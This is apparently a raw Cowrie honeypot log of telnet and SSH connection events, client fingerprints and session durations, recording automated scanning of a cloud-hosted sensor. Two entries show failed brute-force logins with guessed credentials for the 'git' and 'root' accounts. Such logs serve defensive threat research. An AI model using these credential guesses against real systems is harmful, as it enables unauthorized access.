{"eventid":"cowrie.session.closed","duration":31.26782488822937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.607420Z","src_ip":"51.15.157.40","session":"bc9e4274e1d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38896,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d6f606e183","protocol":"telnet","message":"New connection: 157.15.20.138:38896 (159.203.135.109:23) [session: c2d6f606e183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.763895Z"}
{"eventid":"cowrie.session.closed","duration":30.413151264190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:26.194790Z","src_ip":"51.15.157.40","session":"b0ab196b0e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":33690,"dst_ip":"159.203.135.109","dst_port":23,"session":"282f3c91a122","protocol":"telnet","message":"New connection: 62.171.133.168:33690 (159.203.135.109:23) [session: 282f3c91a122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:26.558121Z"}
{"eventid":"cowrie.session.closed","duration":30.7350652217865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:26.771146Z","src_ip":"89.39.83.70","session":"3915ce099b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09028434753418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.092346Z","src_ip":"51.15.157.40","session":"f323f860d77a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.306768894195557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.140120Z","src_ip":"51.15.157.40","session":"437ccfd727da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545430898666382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.257353Z","src_ip":"51.15.157.40","session":"50c6c4a40f5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17963147163391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.500499Z","src_ip":"51.15.157.40","session":"81c534bfb57e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34798,"dst_ip":"159.203.135.109","dst_port":23,"session":"024439f6f599","protocol":"telnet","message":"New connection: 157.15.20.138:34798 (159.203.135.109:23) [session: 024439f6f599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.708411Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53e4236d07f","protocol":"telnet","message":"New connection: 51.15.157.40:37872 (159.203.135.109:23) [session: f53e4236d07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.754436Z"}
{"eventid":"cowrie.session.closed","duration":37.197139263153076,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:27.988089Z","src_ip":"157.15.20.138","session":"bf371407c5a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55634,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0e9a7dc79c","protocol":"telnet","message":"New connection: 103.171.45.122:55634 (159.203.135.109:23) [session: 6f0e9a7dc79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.051130Z"}
{"eventid":"cowrie.session.closed","duration":30.72215485572815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.211861Z","src_ip":"157.15.20.138","session":"11fc4732ce61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42311,"dst_ip":"159.203.135.109","dst_port":23,"session":"b038814a1fc5","protocol":"telnet","message":"New connection: 51.15.157.40:42311 (159.203.135.109:23) [session: b038814a1fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.217620Z"}
{"eventid":"cowrie.session.closed","duration":30.95869755744934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.227355Z","src_ip":"157.15.20.138","session":"526642eb4d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20063853263855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.246734Z","src_ip":"103.171.45.122","session":"e907fccd2d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":42814,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4c3d73f1931","protocol":"telnet","message":"New connection: 51.15.157.40:42814 (159.203.135.109:23) [session: d4c3d73f1931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.391985Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55636,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3bc7ee6a81f","protocol":"telnet","message":"New connection: 103.171.45.122:55636 (159.203.135.109:23) [session: d3bc7ee6a81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.493081Z"}
{"eventid":"cowrie.session.closed","duration":31.178386926651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.511221Z","src_ip":"51.15.157.40","session":"6e6589cc705d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94274353981018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.679886Z","src_ip":"34.69.118.1","session":"723ecb463fd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55652,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e835622b724","protocol":"telnet","message":"New connection: 103.171.45.122:55652 (159.203.135.109:23) [session: 6e835622b724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.692415Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55656,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1cd01b8632c","protocol":"telnet","message":"New connection: 103.171.45.122:55656 (159.203.135.109:23) [session: c1cd01b8632c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.841215Z"}
{"eventid":"cowrie.session.closed","duration":31.94325852394104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.861325Z","src_ip":"34.69.118.1","session":"8699563552b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41560,"dst_ip":"159.203.135.109","dst_port":23,"session":"9361dafda346","protocol":"telnet","message":"New connection: 51.15.157.40:41560 (159.203.135.109:23) [session: 9361dafda346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.925167Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":34810,"dst_ip":"159.203.135.109","dst_port":23,"session":"b67f7c540dca","protocol":"telnet","message":"New connection: 157.15.20.138:34810 (159.203.135.109:23) [session: b67f7c540dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.942597Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55672,"dst_ip":"159.203.135.109","dst_port":23,"session":"dabcd4139702","protocol":"telnet","message":"New connection: 103.171.45.122:55672 (159.203.135.109:23) [session: dabcd4139702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.987496Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55658,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68e7678f7d8","protocol":"telnet","message":"New connection: 103.171.45.122:55658 (159.203.135.109:23) [session: b68e7678f7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:29.993091Z"}
{"eventid":"cowrie.session.closed","duration":31.23054599761963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.356460Z","src_ip":"51.15.157.40","session":"003da6db0072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45412,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96b86245641","protocol":"telnet","message":"New connection: 51.15.157.40:45412 (159.203.135.109:23) [session: d96b86245641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.377485Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57076,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee4c86d9c506","protocol":"telnet","message":"New connection: 34.69.118.1:57076 (159.203.135.109:23) [session: ee4c86d9c506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.502153Z"}
{"eventid":"cowrie.session.closed","duration":31.231332302093506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.513616Z","src_ip":"51.15.157.40","session":"bb6ca837891e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45952,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7f6633e7b7a","protocol":"telnet","message":"New connection: 51.15.157.40:45952 (159.203.135.109:23) [session: a7f6633e7b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.564199Z"}
{"eventid":"cowrie.session.closed","duration":31.457287311553955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.879203Z","src_ip":"51.15.157.40","session":"150be10082af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05961799621582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:30.935143Z","src_ip":"51.15.157.40","session":"2aa86efbbe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24571657180786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.171532Z","src_ip":"157.15.20.138","session":"249adae25417","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47734,"dst_ip":"159.203.135.109","dst_port":23,"session":"31852e8a12cf","protocol":"telnet","message":"New connection: 51.15.157.40:47734 (159.203.135.109:23) [session: 31852e8a12cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.191361Z"}
{"eventid":"cowrie.session.closed","duration":30.67501449584961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.207592Z","src_ip":"51.15.157.40","session":"dd07020410de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672249794006348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.211863Z","src_ip":"51.15.157.40","session":"c034c16860e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002114295959473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.239209Z","src_ip":"51.15.157.40","session":"44232fe1345e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93686532974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.272041Z","src_ip":"157.15.20.138","session":"c38253622177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48194,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ad755ab686b","protocol":"telnet","message":"New connection: 51.15.157.40:48194 (159.203.135.109:23) [session: 7ad755ab686b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.347567Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":42228,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da0c632f1ab","protocol":"ssh","message":"New connection: 221.139.88.149:42228 (10.17.0.5:22) [session: 4da0c632f1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.620917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.641500Z","src_ip":"221.139.88.149","session":"4da0c632f1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.851177Z","src_ip":"221.139.88.149","session":"4da0c632f1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":46378,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c477d37431e","protocol":"ssh","message":"New connection: 148.230.169.229:46378 (10.17.0.5:22) [session: 4c477d37431e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:31.943711Z"}
{"eventid":"cowrie.session.closed","duration":31.08370089530945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.055248Z","src_ip":"51.15.157.40","session":"f05130542c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.233949661254883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.177274Z","src_ip":"157.15.20.138","session":"9c9fbcc1b0f6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.192811Z","src_ip":"148.230.169.229","session":"4c477d37431e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.001200914382935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.204845Z","src_ip":"157.15.20.138","session":"a787c16e415e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.255053Z","src_ip":"148.230.169.229","session":"4c477d37431e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47950,"dst_ip":"159.203.135.109","dst_port":23,"session":"97563d7c35c5","protocol":"telnet","message":"New connection: 51.15.157.40:47950 (159.203.135.109:23) [session: 97563d7c35c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.278271Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":57092,"dst_ip":"159.203.135.109","dst_port":23,"session":"39135e3c0ae1","protocol":"telnet","message":"New connection: 34.69.118.1:57092 (159.203.135.109:23) [session: 39135e3c0ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.322947Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50990,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ac9553478c","protocol":"telnet","message":"New connection: 51.15.157.40:50990 (159.203.135.109:23) [session: 48ac9553478c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.418396Z"}
{"eventid":"cowrie.session.closed","duration":30.574596405029297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.427752Z","src_ip":"51.15.157.40","session":"b695e162243c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44878,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca818d33ea0d","protocol":"telnet","message":"New connection: 104.236.196.85:44878 (159.203.135.109:23) [session: ca818d33ea0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.454044Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx3edc4rfv","message":"login attempt [git/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.567333Z","src_ip":"148.230.169.229","session":"4c477d37431e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55682,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8fe6aae0f1f","protocol":"telnet","message":"New connection: 103.171.45.122:55682 (159.203.135.109:23) [session: d8fe6aae0f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.786892Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44892,"dst_ip":"159.203.135.109","dst_port":23,"session":"657aac0b96c3","protocol":"telnet","message":"New connection: 104.236.196.85:44892 (159.203.135.109:23) [session: 657aac0b96c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:32.883180Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ps123456!","message":"login attempt [root/Ps123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.030802Z","src_ip":"221.139.88.149","session":"4da0c632f1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.762126684188843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.081489Z","src_ip":"51.15.157.40","session":"909fe8027613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796828269958496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.142822Z","src_ip":"104.236.196.85","session":"bf5f0adea0ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.735889673233032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.321401Z","src_ip":"34.69.118.1","session":"70335d03b24a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156014919281006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.374036Z","src_ip":"51.15.157.40","session":"9a15ee2e750f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627734899520874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.547007Z","src_ip":"51.15.157.40","session":"83e4a475a090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.641458Z","src_ip":"148.230.169.229","session":"4c477d37431e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.67500615119934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.646518Z","src_ip":"103.171.45.122","session":"e7c006e02795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54456,"dst_ip":"159.203.135.109","dst_port":23,"session":"84ab95cfe767","protocol":"telnet","message":"New connection: 51.15.157.40:54456 (159.203.135.109:23) [session: 84ab95cfe767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.664116Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54568,"dst_ip":"159.203.135.109","dst_port":23,"session":"29db4e91dfad","protocol":"telnet","message":"New connection: 51.15.157.40:54568 (159.203.135.109:23) [session: 29db4e91dfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.712239Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff702b506121","protocol":"telnet","message":"New connection: 51.15.157.40:54866 (159.203.135.109:23) [session: ff702b506121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.808609Z"}
{"eventid":"cowrie.session.closed","duration":31.011005640029907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:33.867862Z","src_ip":"157.15.20.138","session":"6df75b823292","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":44906,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d55afe8c5e6","protocol":"telnet","message":"New connection: 104.236.196.85:44906 (159.203.135.109:23) [session: 1d55afe8c5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.075167Z"}
{"eventid":"cowrie.session.closed","duration":30.90675377845764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:34.093033Z","src_ip":"104.236.196.85","session":"d0bbe0137584","protocol":"telnet"}
